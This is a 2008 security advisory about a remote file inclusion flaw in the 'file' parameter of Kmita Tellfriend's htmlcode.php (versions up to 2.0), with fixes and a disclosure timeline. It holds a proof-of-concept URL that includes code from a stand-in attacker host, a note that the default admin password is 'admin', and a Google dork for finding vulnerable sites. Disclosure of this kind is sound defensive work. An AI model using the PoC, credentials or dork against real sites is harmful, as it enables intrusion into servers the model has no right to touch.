SecurityReason - Kmita Tellfriend <= 2.0 (file) Remote File Inclusion Vulnerability

Advisory Text :

ECHO_ADV_93$2008

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[ECHO_ADV_93$2008] Kmita Tellfriend <= 2.0 (file) Remote File Inclusion
Vulnerability

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Author : M.Hasran Addahroni

Date : May, 5 th 2008

Location : Jakarta, Indonesia

Web : http://advisories.echo.or.id/adv/adv93-K-159-2008.txt

Critical Lvl : High

Impact : System access

Where : From Remote

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Affected software description:

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Application : Kmita Tellfriend

version : <= 2.0

Vendor : http://www.kmita-tellfriend.com/

Description :

Utilize your website's maximum capacity. Harness your existing visitor
turnover itself to increase your website traffic.

Well, this is what Kmita Tell Friend v2 is all about. Kmita Tell Friend
installs easily and lets you provide a link on your website so that your
visitors can recommend your website to their friends.

There are lots of options and customizations ranging from specifying the
success page to dynamically specifying the page URL. Kmita Tell Friend can
handle unlimited number of recommend forms in one installation itself, that
means you need not copy the script over and over again for different
recommend forms

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Vulnerability:

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Input passed to the "file" parameter in htmlcode.php is not properly
verified before being used to include files.

This can be exploited to include arbitrary files from local or external
resources.

Successful exploitation requires that "register_globals" is enabled.

Poc/Exploit:

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http://www.target.com/kmitaadmin/kmitat/htmlcode.php?file=http://attacke
r.com/evil?

Note: sometimes need to login first.the default user & password are admin

Dork:

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Google : "Powered by Kmita Tell Friend" "allinurl:/kmitat/"

Solution:

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- Edit the source code to ensure that input is properly verified.

- Turn off register_globals in php.ini

Timeline:

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- 02 - 05 - 2008 bug found

- 05 - 05 - 2008 vendor contacted

- 05 - 05 - 2008 advisory released

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kuntua, stev_manado, nofry,k1tk4t,0pt1c

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~ special for rgod - good bye mate, thanks for the great works.

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Contact:

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K-159 || echo|staff || eufrato[at]gmail[dot]com

Homepage: http://k-159.echo.or.id/

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